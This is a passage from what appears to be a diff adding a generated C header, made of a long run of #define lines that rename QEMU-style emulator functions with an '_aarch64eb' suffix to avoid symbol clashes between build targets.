helper_vfp_tould_aarch64eb +#define helper_vfp_tould_round_to_zero helper_vfp_tould_round_to_zero_aarch64eb +#define helper_vfp_touls helper_vfp_touls_aarch64eb +#define helper_vfp_touls_round_to_zero helper_vfp_touls_round_to_zero_aarch64eb +#define helper_vfp_touqd helper_vfp_touqd_aarch64eb +#define helper_vfp_touqs helper_vfp_touqs_aarch64eb +#define helper_vfp_uhtod helper_vfp_uhtod_aarch64eb +#define helper_vfp_uhtos helper_vfp_uhtos_aarch64eb +#define helper_vfp_uitod helper_vfp_uitod_aarch64eb +#define helper_vfp_uitos helper_vfp_uitos_aarch64eb +#define helper_vfp_ultod helper_vfp_ultod_aarch64eb +#define helper_vfp_ultos helper_vfp_ultos_aarch64eb +#define helper_vfp_uqtod helper_vfp_uqtod_aarch64eb +#define helper_vfp_uqtos helper_vfp_uqtos_aarch64eb +#define helper_wfe helper_wfe_aarch64eb +#define helper_wfi helper_wfi_aarch64eb +#define hex2decimal hex2decimal_aarch64eb +#define hw_breakpoint_update hw_breakpoint_update_aarch64eb +#define hw_breakpoint_update_all hw_breakpoint_update_all_aarch64eb +#define hw_watchpoint_update hw_watchpoint_update_aarch64eb +#define hw_watchpoint_update_all hw_watchpoint_update_all_aarch64eb +#define _init _init_aarch64eb +#define init_cpreg_list init_cpreg_list_aarch64eb +#define init_lists init_lists_aarch64eb +#define input_type_enum input_type_enum_aarch64eb +#define int128_2_64 int128_2_64_aarch64eb +#define int128_add int128_add_aarch64eb +#define int128_addto int128_addto_aarch64eb +#define int128_and int128_and_aarch64eb +#define int128_eq int128_eq_aarch64eb +#define int128_ge int128_ge_aarch64eb +#define int128_get64 int128_get64_aarch64eb +#define int128_gt int128_gt_aarch64eb +#define int128_le int128_le_aarch64eb +#define int128_lt int128_lt_aarch64eb +#define int128_make64 int128_make64_aarch64eb +#define int128_max int128_max_aarch64eb +#define int128_min int128_min_aarch64eb +#define int128_ne int128_ne_aarch64eb +#define int128_neg int128_neg_aarch64eb +#define int128_nz int128_nz_aarch64eb +#define int128_rshift int128_rshift_aarch64eb +#define int128_sub int128_sub_aarch64eb +#define int128_subfrom int128_subfrom_aarch64eb +#define int128_zero int128_zero_aarch64eb +#define int16_to_float32 int16_to_float32_aarch64eb +#define int16_to_float64 int16_to_float64_aarch64eb +#define int32_to_float128 int32_to_float128_aarch64eb +#define int32_to_float32 int32_to_float32_aarch64eb +#define int32_to_float64 int32_to_float64_aarch64eb +#define int32_to_floatx80 int32_to_floatx80_aarch64eb +#define int64_to_float128 int64_to_float128_aarch64eb +#define int64_to_float32 int64_to_float32_aarch64eb +#define int64_to_float64 int64_to_float64_aarch64eb +#define int64_to_floatx80 int64_to_floatx80_aarch64eb +#define invalidate_and_set_dirty invalidate_and_set_dirty_aarch64eb +#define invalidate_page_bitmap invalidate_page_bitmap_aarch64eb +#define io_mem_read io_mem_read_aarch64eb +#define io_mem_write io_mem_write_aarch64eb +#define io_readb io_readb_aarch64eb +#define io_readl io_readl_aarch64eb +#define io_readq io_readq_aarch64eb +#define io_readw io_readw_aarch64eb +#define iotlb_to_region iotlb_to_region_aarch64eb +#define io_writeb io_writeb_aarch64eb +#define io_writel io_writel_aarch64eb +#define io_writeq io_writeq_aarch64eb +#define io_writew io_writew_aarch64eb +#define is_a64 is_a64_aarch64eb +#define is_help_option is_help_option_aarch64eb +#define isr_read isr_read_aarch64eb +#define is_valid_option_list is_valid_option_list_aarch64eb +#define iwmmxt_load_creg iwmmxt_load_creg_aarch64eb +#define iwmmxt_load_reg iwmmxt_load_reg_aarch64eb +#define iwmmxt_store_creg iwmmxt_store_creg_aarch64eb +#define iwmmxt_store_reg iwmmxt_store_reg_aarch64eb +#define __jit_debug_descriptor __jit_debug_descriptor_aarch64eb +#define __jit_debug_register_code __jit_debug_register_code_aarch64eb +#define kvm_to_cpreg_id kvm_to_cpreg_id_aarch64eb +#define last_ram_offset last_ram_offset_aarch64eb +#define ldl_be_p ldl_be_p_aarch64eb +#define ldl_be_phys ldl_be_phys_aarch64eb +#define ldl_he_p ldl_he_p_aarch64eb +#define ldl_le_p ldl_le_p_aarch64eb +#define ldl_le_phys ldl_le_phys_aarch64eb +#define ldl_phys ldl_phys_aarch64eb +#define ldl_phys_internal ldl_phys_internal_aarch64eb +#define ldq_be_p ldq_be_p_aarch64eb +#define ldq_be_phys ldq_be_phys_aarch64eb +#define ldq_he_p ldq_he_p_aarch64eb +#define ldq_le_p ldq_le_p_aarch64eb +#define ldq_le_phys ldq_le_phys_aarch64eb +#define ldq_phys ldq_phys_aarch64eb +#define ldq_phys_internal ldq_phys_internal_aarch64eb +#define ldst_name ldst_name_aarch64eb +#define ldub_p ldub_p_aarch64eb +#define ldub_phys ldub_phys_aarch64eb +#define lduw_be_p lduw_be_p_aarch64eb +#define lduw_be_phys lduw_be_phys_aarch64eb +#define lduw_he_p lduw_he_p_aarch64eb +#define lduw_le_p lduw_le_p_aarch64eb +#define lduw_le_phys lduw_le_phys_aarch64eb +#define lduw_phys lduw_phys_aarch64eb +#define lduw_phys_internal lduw_phys_internal_aarch64eb +#define le128 le128_aarch64eb +#define linked_bp_matches linked_bp_matches_aarch64eb +#define listener_add_address_space listener_add_address_space_aarch64eb +#define load_cpu_offset load_cpu_offset_aarch64eb +#define load_reg load_reg_aarch64eb +#define load_reg_var load_reg_var_aarch64eb +#define log_cpu_state log_cpu_state_aarch64eb +#define lpae_cp_reginfo lpae_cp_reginfo_aarch64eb +#define lt128 lt128_aarch64eb +#define machine_class_init machine_class_init_aarch64eb +#define machine_finalize machine_finalize_aarch64eb +#define machine_info machine_info_aarch64eb +#define machine_initfn machine_initfn_aarch64eb +#define machine_register_types machine_register_types_aarch64eb +#define machvirt_init machvirt_init_aarch64eb +#define machvirt_machine_init machvirt_machine_init_aarch64eb +#define maj maj_aarch64eb +#define mapping_conflict mapping_conflict_aarch64eb +#define mapping_contiguous mapping_contiguous_aarch64eb +#define mapping_have_same_region mapping_have_same_region_aarch64eb +#define mapping_merge mapping_merge_aarch64eb +#define mem_add mem_add_aarch64eb +#define mem_begin mem_begin_aarch64eb +#define mem_commit mem_commit_aarch64eb +#define memory_access_is_direct memory_access_is_direct_aarch64eb +#define memory_access_size memory_access_size_aarch64eb +#define memory_init memory_init_aarch64eb +#define memory_listener_match memory_listener_match_aarch64eb +#define memory_listener_register memory_listener_register_aarch64eb +#define memory_listener_unregister memory_listener_unregister_aarch64eb +#define memory_map_init memory_map_init_aarch64eb +#define memory_mapping_filter memory_mapping_filter_aarch64eb +#define memory_mapping_list_add_mapping_sorted memory_mapping_list_add_mapping_sorted_aarch64eb +#define memory_mapping_list_add_merge_sorted memory_mapping_list_add_merge_sorted_aarch64eb +#define memory_mapping_list_free memory_mapping_list_free_aarch64eb +#define memory_mapping_list_init memory_mapping_list_init_aarch64eb +#define memory_region_access_valid memory_region_access_valid_aarch64eb +#define memory_region_add_subregion memory_region_add_subregion_aarch64eb +#define memory_region_add_subregion_common memory_region_add_subregion_common_aarch64eb +#define memory_region_add_subregion_overlap memory_region_add_subregion_overlap_aarch64eb +#define memory_region_big_endian memory_region_big_endian_aarch64eb +#define memory_region_clear_pending memory_region_clear_pending_aarch64eb +#define memory_region_del_subregion memory_region_del_subregion_aarch64eb +#define memory_region_destructor_alias memory_region_destructor_alias_aarch64eb +#define memory_region_destructor_none memory_region_destructor_none_aarch64eb +#define memory_region_destructor_ram memory_region_destructor_ram_aarch64eb +#define memory_region_destructor_ram_from_ptr memory_region_destructor_ram_from_ptr_aarch64eb +#define memory_region_dispatch_read memory_region_dispatch_read_aarch64eb +#define memory_region_dispatch_read1 memory_region_dispatch_read1_aarch64eb +#define memory_region_dispatch_write memory_region_dispatch_write_aarch64eb +#define memory_region_escape_name memory_region_escape_name_aarch64eb +#define memory_region_finalize memory_region_finalize_aarch64eb +#define memory_region_find memory_region_find_aarch64eb +#define memory_region_get_addr memory_region_get_addr_aarch64eb +#define memory_region_get_alignment memory_region_get_alignment_aarch64eb +#define memory_region_get_container memory_region_get_container_aarch64eb +#define memory_region_get_fd memory_region_get_fd_aarch64eb +#define memory_region_get_may_overlap memory_region_get_may_overlap_aarch64eb +#define memory_region_get_priority memory_region_get_priority_aarch64eb +#define memory_region_get_ram_addr memory_region_get_ram_addr_aarch64eb +#define memory_region_get_ram_ptr memory_region_get_ram_ptr_aarch64eb +#define memory_region_get_size memory_region_get_size_aarch64eb +#define memory_region_info memory_region_info_aarch64eb +#define memory_region_init memory_region_init_aarch64eb +#define memory_region_init_alias memory_region_init_alias_aarch64eb +#define memory_region_initfn memory_region_initfn_aarch64eb +#define memory_region_init_io memory_region_init_io_aarch64eb +#define memory_region_init_ram memory_region_init_ram_aarch64eb +#define memory_region_init_ram_ptr memory_region_init_ram_ptr_aarch64eb +#define memory_region_init_reservation memory_region_init_reservation_aarch64eb +#define memory_region_is_iommu memory_region_is_iommu_aarch64eb +#define memory_region_is_logging memory_region_is_logging_aarch64eb +#define memory_region_is_mapped memory_region_is_mapped_aarch64eb +#define memory_region_is_ram memory_region_is_ram_aarch64eb +#define memory_region_is_rom memory_region_is_rom_aarch64eb +#define memory_region_is_romd memory_region_is_romd_aarch64eb +#define memory_region_is_skip_dump memory_region_is_skip_dump_aarch64eb +#define memory_region_is_unassigned memory_region_is_unassigned_aarch64eb +#define memory_region_name memory_region_name_aarch64eb +#define memory_region_need_escape memory_region_need_escape_aarch64eb +#define memory_region_oldmmio_read_accessor memory_region_oldmmio_read_accessor_aarch64eb +#define memory_region_oldmmio_write_accessor memory_region_oldmmio_write_accessor_aarch64eb +#define memory_region_present memory_region_present_aarch64eb +#define memory_region_read_accessor memory_region_read_accessor_aarch64eb +#define memory_region_readd_subregion memory_region_readd_subregion_aarch64eb +#define memory_region_ref memory_region_ref_aarch64eb +#define memory_region_resolve_container memory_region_resolve_container_aarch64eb +#define memory_region_rom_device_set_romd memory_region_rom_device_set_romd_aarch64eb +#define memory_region_section_get_iotlb memory_region_section_get_iotlb_aarch64eb +#define memory_region_set_address memory_region_set_address_aarch64eb +#define memory_region_set_alias_offset memory_region_set_alias_offset_aarch64eb +#define memory_region_set_enabled memory_region_set_enabled_aarch64eb +#define memory_region_set_readonly memory_region_set_readonly_aarch64eb +#define memory_region_set_skip_dump memory_region_set_skip_dump_aarch64eb +#define memory_region_size memory_region_size_aarch64eb +#define memory_region_to_address_space memory_region_to_address_space_aarch64eb +#define memory_region_transaction_begin memory_region_transaction_begin_aarch64eb +#define memory_region_transaction_commit memory_region_transaction_commit_aarch64eb +#define memory_region_unref memory_region_unref_aarch64eb +#define memory_region_update_container_subregions memory_region_update_container_subregions_aarch64eb +#define memory_region_write_accessor memory_region_write_accessor_aarch64eb +#define memory_region_wrong_endianness memory_region_wrong_endianness_aarch64eb +#define memory_try_enable_merging memory_try_enable_merging_aarch64eb +#define module_call_init module_call_init_aarch64eb +#define module_load module_load_aarch64eb +#define mpidr_cp_reginfo mpidr_cp_reginfo_aarch64eb +#define mpidr_read mpidr_read_aarch64eb +#define msr_mask msr_mask_aarch64eb +#define mul128By64To192 mul128By64To192_aarch64eb +#define mul128To256 mul128To256_aarch64eb +#define mul64To128 mul64To128_aarch64eb +#define muldiv64 muldiv64_aarch64eb +#define neon_2rm_is_float_op neon_2rm_is_float_op_aarch64eb +#define neon_2rm_sizes neon_2rm_sizes_aarch64eb +#define neon_3r_sizes neon_3r_sizes_aarch64eb +#define neon_get_scalar neon_get_scalar_aarch64eb +#define neon_load_reg neon_load_reg_aarch64eb +#define neon_load_reg64 neon_load_reg64_aarch64eb +#define neon_load_scratch neon_load_scratch_aarch64eb +#define neon_ls_element_type neon_ls_element_type_aarch64eb +#define neon_reg_offset neon_reg_offset_aarch64eb +#define neon_store_reg neon_store_reg_aarch64eb +#define neon_store_reg64 neon_store_reg64_aarch64eb +#define neon_store_scratch neon_store_scratch_aarch64eb +#define new_ldst_label new_ldst_label_aarch64eb +#define next_list next_list_aarch64eb +#define normalizeFloat128Subnormal normalizeFloat128Subnormal_aarch64eb +#define normalizeFloat16Subnormal normalizeFloat16Subnormal_aarch64eb +#define normalizeFloat32Subnormal normalizeFloat32Subnormal_aarch64eb +#define normalizeFloat64Subnormal normalizeFloat64Subnormal_aarch64eb +#define normalizeFloatx80Subnormal normalizeFloatx80Subnormal_aarch64eb +#define normalizeRoundAndPackFloat128 normalizeRoundAndPackFloat128_aarch64eb +#define normalizeRoundAndPackFloat32 normalizeRoundAndPackFloat32_aarch64eb +#define normalizeRoundAndPackFloat64 normalizeRoundAndPackFloat64_aarch64eb +#define normalizeRoundAndPackFloatx80 normalizeRoundAndPackFloatx80_aarch64eb +#define not_v6_cp_reginfo not_v6_cp_reginfo_aarch64eb +#define not_v7_cp_reginfo not_v7_cp_reginfo_aarch64eb +#define not_v8_cp_reginfo not_v8_cp_reginfo_aarch64eb +#define object_child_foreach object_child_foreach_aarch64eb +#define object_class_foreach object_class_foreach_aarch64eb +#define object_class_foreach_tramp object_class_foreach_tramp_aarch64eb +#define object_class_get_list object_class_get_list_aarch64eb +#define object_class_get_list_tramp object_class_get_list_tramp_aarch64eb +#define object_class_get_parent object_class_get_parent_aarch64eb +#define object_deinit object_deinit_aarch64eb +#define object_dynamic_cast object_dynamic_cast_aarch64eb +#define object_finalize object_finalize_aarch64eb +#define object_finalize_child_property object_finalize_child_property_aarch64eb +#define object_get_child_property object_get_child_property_aarch64eb +#define object_get_link_property object_get_link_property_aarch64eb +#define object_get_root object_get_root_aarch64eb +#define object_initialize_with_type object_initialize_with_type_aarch64eb +#define object_init_with_type object_init_with_type_aarch64eb +#define object_instance_init object_instance_init_aarch64eb +#define object_new_with_type object_new_with_type_aarch64eb +#define object_post_init_with_type object_post_init_with_type_aarch64eb +#define object_property_add_alias object_property_add_alias_aarch64eb +#define object_property_add_link object_property_add_link_aarch64eb +#define object_property_add_uint16_ptr object_property_add_uint16_ptr_aarch64eb +#define object_property_add_uint32_ptr object_property_add_uint32_ptr_aarch64eb +#define object_property_add_uint64_ptr object_property_add_uint64_ptr_aarch64eb +#define object_property_add_uint8_ptr object_property_add_uint8_ptr_aarch64eb +#define object_property_allow_set_link object_property_allow_set_link_aarch64eb +#define object_property_del object_property_del_aarch64eb +#define object_property_del_all object_property_del_all_aarch64eb +#define object_property_find object_property_find_aarch64eb +#define object_property_get object_property_get_aarch64eb +#define object_property_get_bool object_property_get_bool_aarch64eb +#define object_property_get_int object_property_get_int_aarch64eb +#define object_property_get_link object_property_get_link_aarch64eb +#define object_property_get_qobject object_property_get_qobject_aarch64eb +#define object_property_get_str object_property_get_str_aarch64eb +#define object_property_get_type object_property_get_type_aarch64eb +#define object_property_is_child object_property_is_child_aarch64eb +#define object_property_set object_property_set_aarch64eb +#define object_property_set_description object_property_set_description_aarch64eb +#define object_property_set_link object_property_set_link_aarch64eb +#define object_property_set_qobject object_property_set_qobject_aarch64eb +#define object_release_link_property object_release_link_property_aarch64eb +#define object_resolve_abs_path object_resolve_abs_path_aarch64eb +#define object_resolve_child_property object_resolve_child_property_aarch64eb +#define object_resolve_link object_resolve_link_aarch64eb +#define object_resolve_link_property object_resolve_link_property_aarch64eb +#define object_resolve_partial_path object_resolve_partial_path_aarch64eb +#define object_resolve_path object_resolve_path_aarch64eb +#define object_resolve_path_component object_resolve_path_component_aarch64eb +#define object_resolve_path_type object_resolve_path_type_aarch64eb +#define object_set_link_property object_set_link_property_aarch64eb +#define object_unparent object_unparent_aarch64eb +#define omap_cachemaint_write omap_cachemaint_write_aarch64eb +#define omap_cp_reginfo omap_cp_reginfo_aarch64eb +#define omap_threadid_write omap_threadid_write_aarch64eb +#define omap_ticonfig_write omap_ticonfig_write_aarch64eb +#define omap_wfi_write omap_wfi_write_aarch64eb +#define op_bits op_bits_aarch64eb +#define open_modeflags open_modeflags_aarch64eb +#define op_to_mov op_to_mov_aarch64eb +#define op_to_movi op_to_movi_aarch64eb +#define output_type_enum output_type_enum_aarch64eb +#define packFloat128 packFloat128_aarch64eb +#define packFloat16 packFloat16_aarch64eb +#define packFloat32 packFloat32_aarch64eb +#define packFloat64 packFloat64_aarch64eb +#define packFloatx80 packFloatx80_aarch64eb +#define page_find page_find_aarch64eb +#define page_find_alloc page_find_alloc_aarch64eb +#define page_flush_tb page_flush_tb_aarch64eb +#define page_flush_tb_1 page_flush_tb_1_aarch64eb +#define page_init page_init_aarch64eb +#define page_size_init page_size_init_aarch64eb +#define par par_aarch64eb +#define parse_array parse_array_aarch64eb +#define parse_error parse_error_aarch64eb +#define parse_escape parse_escape_aarch64eb +#define parse_keyword parse_keyword_aarch64eb +#define parse_literal parse_literal_aarch64eb +#define parse_object parse_object_aarch64eb +#define parse_optional parse_optional_aarch64eb +#define parse_option_bool parse_option_bool_aarch64eb +#define parse_option_number parse_option_number_aarch64eb +#define parse_option_size parse_option_size_aarch64eb +#define parse_pair parse_pair_aarch64eb +#define parser_context_free parser_context_free_aarch64eb +#define parser_context_new parser_context_new_aarch64eb +#define parser_context_peek_token parser_context_peek_token_aarch64eb +#define parser_context_pop_token parser_context_pop_token_aarch64eb +#define parser_context_restore parser_context_restore_aarch64eb +#define parser_context_save parser_context_save_aarch64eb +#define parse_str parse_str_aarch64eb +#define parse_type_bool parse_type_bool_aarch64eb +#define parse_type_int parse_type_int_aarch64eb +#define parse_type_number parse_type_number_aarch64eb +#define parse_type_size parse_type_size_aarch64eb +#define parse_type_str parse_type_str_aarch64eb +#define parse_value parse_value_aarch64eb +#define par_write par_write_aarch64eb +#define patch_reloc patch_reloc_aarch64eb +#define phys_map_node_alloc phys_map_node_alloc_aarch64eb +#define phys_map_node_reserve phys_map_node_reserve_aarch64eb +#define phys_mem_alloc phys_mem_alloc_aarch64eb +#define phys_mem_set_alloc phys_mem_set_alloc_aarch64eb +#define phys_page_compact phys_page_compact_aarch64eb +#define phys_page_compact_all phys_page_compact_all_aarch64eb +#define phys_page_find phys_page_find_aarch64eb +#define phys_page_set phys_page_set_aarch64eb +#define phys_page_set_level phys_page_set_level_aarch64eb +#define phys_section_add phys_section_add_aarch64eb +#define phys_section_destroy phys_section_destroy_aarch64eb +#define phys_sections_free phys_sections_free_aarch64eb +#define pickNaN pickNaN_aarch64eb +#define pickNaNMulAdd pickNaNMulAdd_aarch64eb +#define pmccfiltr_write pmccfiltr_write_aarch64eb +#define pmccntr_read pmccntr_read_aarch64eb +#define pmccntr_sync pmccntr_sync_aarch64eb +#define pmccntr_write pmccntr_write_aarch64eb +#define pmccntr_write32 pmccntr_write32_aarch64eb +#define pmcntenclr_write pmcntenclr_write_aarch64eb +#define pmcntenset_write pmcntenset_write_aarch64eb +#define pmcr_write pmcr_write_aarch64eb +#define pmintenclr_write pmintenclr_write_aarch64eb +#define pmintenset_write pmintenset_write_aarch64eb +#define pmovsr_write pmovsr_write_aarch64eb +#define pmreg_access pmreg_access_aarch64eb +#define pmsav5_cp_reginfo pmsav5_cp_reginfo_aarch64eb +#define pmsav5_data_ap_read pmsav5_data_ap_read_aarch64eb +#define pmsav5_data_ap_write pmsav5_data_ap_write_aarch64eb +#define pmsav5_insn_ap_read pmsav5_insn_ap_read_aarch64eb +#define pmsav5_insn_ap_write pmsav5_insn_ap_write_aarch64eb +#define pmuserenr_write pmuserenr_write_aarch64eb +#define pmxevtyper_write pmxevtyper_write_aarch64eb +#define print_type_bool print_type_bool_aarch64eb +#define print_type_int print_type_int_aarch64eb +#define print_type_number print_type_number_aarch64eb +#define print_type_size print_type_size_aarch64eb +#define print_type_str print_type_str_aarch64eb +#define propagateFloat128NaN propagateFloat128NaN_aarch64eb +#define propagateFloat32MulAddNaN propagateFloat32MulAddNaN_aarch64eb +#define propagateFloat32NaN propagateFloat32NaN_aarch64eb +#define propagateFloat64MulAddNaN propagateFloat64MulAddNaN_aarch64eb +#define propagateFloat64NaN propagateFloat64NaN_aarch64eb +#define propagateFloatx80NaN propagateFloatx80NaN_aarch64eb +#define property_get_alias property_get_alias_aarch64eb +#define property_get_bool property_get_bool_aarch64eb +#define property_get_str property_get_str_aarch64eb +#define property_get_uint16_ptr property_get_uint16_ptr_aarch64eb +#define property_get_uint32_ptr property_get_uint32_ptr_aarch64eb +#define property_get_uint64_ptr property_get_uint64_ptr_aarch64eb +#define property_get_uint8_ptr property_get_uint8_ptr_aarch64eb +#define property_release_alias property_release_alias_aarch64eb +#define property_release_bool property_release_bool_aarch64eb +#define property_release_str property_release_str_aarch64eb +#define property_resolve_alias property_resolve_alias_aarch64eb +#define property_set_alias property_set_alias_aarch64eb +#define property_set_bool property_set_bool_aarch64eb +#define property_set_str property_set_str_aarch64eb +#define pstate_read pstate_read_aarch64eb +#define pstate_write pstate_write_aarch64eb +#define pxa250_initfn pxa250_initfn_aarch64eb +#define pxa255_initfn pxa255_initfn_aarch64eb +#define pxa260_initfn pxa260_initfn_aarch64eb +#define pxa261_initfn pxa261_initfn_aarch64eb +#define pxa262_initfn pxa262_initfn_aarch64eb +#define pxa270a0_initfn pxa270a0_initfn_aarch64eb +#define pxa270a1_initfn pxa270a1_initfn_aarch64eb +#define pxa270b0_initfn pxa270b0_initfn_aarch64eb +#define pxa270b1_initfn pxa270b1_initfn_aarch64eb +#define pxa270c0_initfn pxa270c0_initfn_aarch64eb +#define pxa270c5_initfn pxa270c5_initfn_aarch64eb +#define qapi_dealloc_end_implicit_struct qapi_dealloc_end_implicit_struct_aarch64eb +#define qapi_dealloc_end_list qapi_dealloc_end_list_aarch64eb +#define qapi_dealloc_end_struct qapi_dealloc_end_struct_aarch64eb +#define qapi_dealloc_get_visitor qapi_dealloc_get_visitor_aarch64eb +#define qapi_dealloc_next_list qapi_dealloc_next_list_aarch64eb +#define qapi_dealloc_pop qapi_dealloc_pop_aarch64eb +#define qapi_dealloc_push qapi_dealloc_push_aarch64eb +#define qapi_dealloc_start_implicit_struct qapi_dealloc_start_implicit_struct_aarch64eb +#define qapi_dealloc_start_list qapi_dealloc_start_list_aarch64eb +#define qapi_dealloc_start_struct qapi_dealloc_start_struct_aarch64eb +#define qapi_dealloc_start_union qapi_dealloc_start_union_aarch64eb +#define qapi_dealloc_type_bool qapi_dealloc_type_bool_aarch64eb +#define qapi_dealloc_type_enum qapi_dealloc_type_enum_aarch64eb +#define qapi_dealloc_type_int qapi_dealloc_type_int_aarch64eb +#define qapi_dealloc_type_number qapi_dealloc_type_number_aarch64eb +#define qapi_dealloc_type_size qapi_dealloc_type_size_aarch64eb +#define qapi_dealloc_type_str qapi_dealloc_type_str_aarch64eb +#define qapi_dealloc_visitor_cleanup qapi_dealloc_visitor_cleanup_aarch64eb +#define qapi_dealloc_visitor_new qapi_dealloc_visitor_new_aarch64eb +#define qapi_free_boolList qapi_free_boolList_aarch64eb +#define qapi_free_ErrorClassList qapi_free_ErrorClassList_aarch64eb +#define qapi_free_int16List qapi_free_int16List_aarch64eb +#define qapi_free_int32List qapi_free_int32List_aarch64eb +#define qapi_free_int64List qapi_free_int64List_aarch64eb +#define qapi_free_int8List qapi_free_int8List_aarch64eb +#define qapi_free_intList qapi_free_intList_aarch64eb +#define qapi_free_numberList qapi_free_numberList_aarch64eb +#define qapi_free_strList qapi_free_strList_aarch64eb +#define qapi_free_uint16List qapi_free_uint16List_aarch64eb +#define qapi_free_uint32List qapi_free_uint32List_aarch64eb +#define qapi_free_uint64List qapi_free_uint64List_aarch64eb +#define qapi_free_uint8List qapi_free_uint8List_aarch64eb +#define qapi_free_X86CPUFeatureWordInfo qapi_free_X86CPUFeatureWordInfo_aarch64eb +#define qapi_free_X86CPUFeatureWordInfoList qapi_free_X86CPUFeatureWordInfoList_aarch64eb +#define qapi_free_X86CPURegister32List qapi_free_X86CPURegister32List_aarch64eb +#define qbool_destroy_obj qbool_destroy_obj_aarch64eb +#define qbool_from_int qbool_from_int_aarch64eb +#define qbool_get_int qbool_get_int_aarch64eb +#define qbool_type qbool_type_aarch64eb +#define qbus_create qbus_create_aarch64eb +#define qbus_create_inplace qbus_create_inplace_aarch64eb +#define qbus_finalize qbus_finalize_aarch64eb +#define qbus_initfn qbus_initfn_aarch64eb +#define qbus_realize qbus_realize_aarch64eb +#define qdev_create qdev_create_aarch64eb +#define qdev_get_type qdev_get_type_aarch64eb +#define qdev_register_types qdev_register_types_aarch64eb +#define qdev_set_parent_bus qdev_set_parent_bus_aarch64eb +#define qdev_try_create qdev_try_create_aarch64eb +#define qdict_add_key qdict_add_key_aarch64eb +#define qdict_array_split qdict_array_split_aarch64eb +#define qdict_clone_shallow qdict_clone_shallow_aarch64eb +#define qdict_del qdict_del_aarch64eb +#define qdict_destroy_obj qdict_destroy_obj_aarch64eb +#define qdict_entry_key qdict_entry_key_aarch64eb +#define qdict_entry_value qdict_entry_value_aarch64eb +#define qdict_extract_subqdict qdict_extract_subqdict_aarch64eb +#define qdict_find qdict_find_aarch64eb +#define qdict_first qdict_first_aarch64eb +#define qdict_flatten qdict_flatten_aarch64eb +#define qdict_flatten_qdict qdict_flatten_qdict_aarch64eb +#define qdict_flatten_qlist qdict_flatten_qlist_aarch64eb +#define qdict_get qdict_get_aarch64eb +#define qdict_get_bool qdict_get_bool_aarch64eb +#define qdict_get_double qdict_get_double_aarch64eb +#define qdict_get_int qdict_get_int_aarch64eb +#define qdict_get_obj qdict_get_obj_aarch64eb +#define qdict_get_qdict qdict_get_qdict_aarch64eb +#define qdict_get_qlist qdict_get_qlist_aarch64eb +#define qdict_get_str qdict_get_str_aarch64eb +#define qdict_get_try_bool qdict_get_try_bool_aarch64eb +#define qdict_get_try_int qdict_get_try_int_aarch64eb +#define qdict_get_try_str qdict_get_try_str_aarch64eb +#define qdict_haskey qdict_haskey_aarch64eb +#define qdict_has_prefixed_entries qdict_has_prefixed_entries_aarch64eb +#define qdict_iter qdict_iter_aarch64eb +#define qdict_join qdict_join_aarch64eb +#define qdict_new qdict_new_aarch64eb +#define qdict_next qdict_next_aarch64eb +#define qdict_next_entry qdict_next_entry_aarch64eb +#define qdict_put_obj qdict_put_obj_aarch64eb +#define qdict_size qdict_size_aarch64eb +#define qdict_type qdict_type_aarch64eb +#define qemu_clock_get_us qemu_clock_get_us_aarch64eb +#define qemu_clock_ptr qemu_clock_ptr_aarch64eb +#define qemu_clocks qemu_clocks_aarch64eb +#define qemu_get_cpu qemu_get_cpu_aarch64eb +#define qemu_get_guest_memory_mapping qemu_get_guest_memory_mapping_aarch64eb +#define qemu_get_guest_simple_memory_mapping qemu_get_guest_simple_memory_mapping_aarch64eb +#define qemu_get_ram_block qemu_get_ram_block_aarch64eb +#define qemu_get_ram_block_host_ptr qemu_get_ram_block_host_ptr_aarch64eb +#define qemu_get_ram_fd qemu_get_ram_fd_aarch64eb +#define qemu_get_ram_ptr qemu_get_ram_ptr_aarch64eb +#define qemu_host_page_mask qemu_host_page_mask_aarch64eb +#define qemu_host_page_size qemu_host_page_size_aarch64eb +#define qemu_init_vcpu qemu_init_vcpu_aarch64eb +#define qemu_ld_helpers qemu_ld_helpers_aarch64eb +#define qemu_log_close qemu_log_close_aarch64eb +#define qemu_log_enabled qemu_log_enabled_aarch64eb +#define qemu_log_flush qemu_log_flush_aarch64eb +#define qemu_loglevel_mask qemu_loglevel_mask_aarch64eb +#define qemu_log_vprintf qemu_log_vprintf_aarch64eb +#define qemu_oom_check qemu_oom_check_aarch64eb +#define qemu_parse_fd qemu_parse_fd_aarch64eb +#define qemu_ram_addr_from_host qemu_ram_addr_from_host_aarch64eb +#define qemu_ram_addr_from_host_nofail qemu_ram_addr_from_host_nofail_aarch64eb +#define qemu_ram_alloc qemu_ram_alloc_aarch64eb +#define qemu_ram_alloc_from_ptr qemu_ram_alloc_from_ptr_aarch64eb +#define qemu_ram_foreach_block qemu_ram_foreach_block_aarch64eb +#define qemu_ram_free qemu_ram_free_aarch64eb +#define qemu_ram_free_from_ptr qemu_ram_free_from_ptr_aarch64eb +#define qemu_ram_ptr_length qemu_ram_ptr_length_aarch64eb +#define qemu_ram_remap qemu_ram_remap_aarch64eb +#define qemu_ram_setup_dump qemu_ram_setup_dump_aarch64eb +#define qemu_ram_unset_idstr qemu_ram_unset_idstr_aarch64eb +#define qemu_real_host_page_size qemu_real_host_page_size_aarch64eb +#define qemu_st_helpers qemu_st_helpers_aarch64eb +#define qemu_tcg_init_vcpu qemu_tcg_init_vcpu_aarch64eb +#define qemu_try_memalign qemu_try_memalign_aarch64eb +#define qentry_destroy qentry_destroy_aarch64eb +#define qerror_human qerror_human_aarch64eb +#define qerror_report qerror_report_aarch64eb +#define qerror_report_err qerror_report_err_aarch64eb +#define qfloat_destroy_obj qfloat_destroy_obj_aarch64eb +#define qfloat_from_double qfloat_from_double_aarch64eb +#define qfloat_get_double qfloat_get_double_aarch64eb +#define qfloat_type qfloat_type_aarch64eb +#define qint_destroy_obj qint_destroy_obj_aarch64eb +#define qint_from_int qint_from_int_aarch64eb +#define qint_get_int qint_get_int_aarch64eb +#define qint_type qint_type_aarch64eb +#define qlist_append_obj qlist_append_obj_aarch64eb +#define qlist_copy qlist_copy_aarch64eb +#define qlist_copy_elem qlist_copy_elem_aarch64eb +#define qlist_destroy_obj qlist_destroy_obj_aarch64eb +#define qlist_empty qlist_empty_aarch64eb +#define qlist_entry_obj qlist_entry_obj_aarch64eb +#define qlist_first qlist_first_aarch64eb +#define qlist_iter qlist_iter_aarch64eb +#define qlist_new qlist_new_aarch64eb +#define qlist_next qlist_next_aarch64eb +#define qlist_peek qlist_peek_aarch64eb +#define qlist_pop qlist_pop_aarch64eb +#define qlist_size qlist_size_aarch64eb +#define qlist_size_iter qlist_size_iter_aarch64eb +#define qlist_type qlist_type_aarch64eb +#define qmp_input_end_implicit_struct qmp_input_end_implicit_struct_aarch64eb +#define qmp_input_end_list 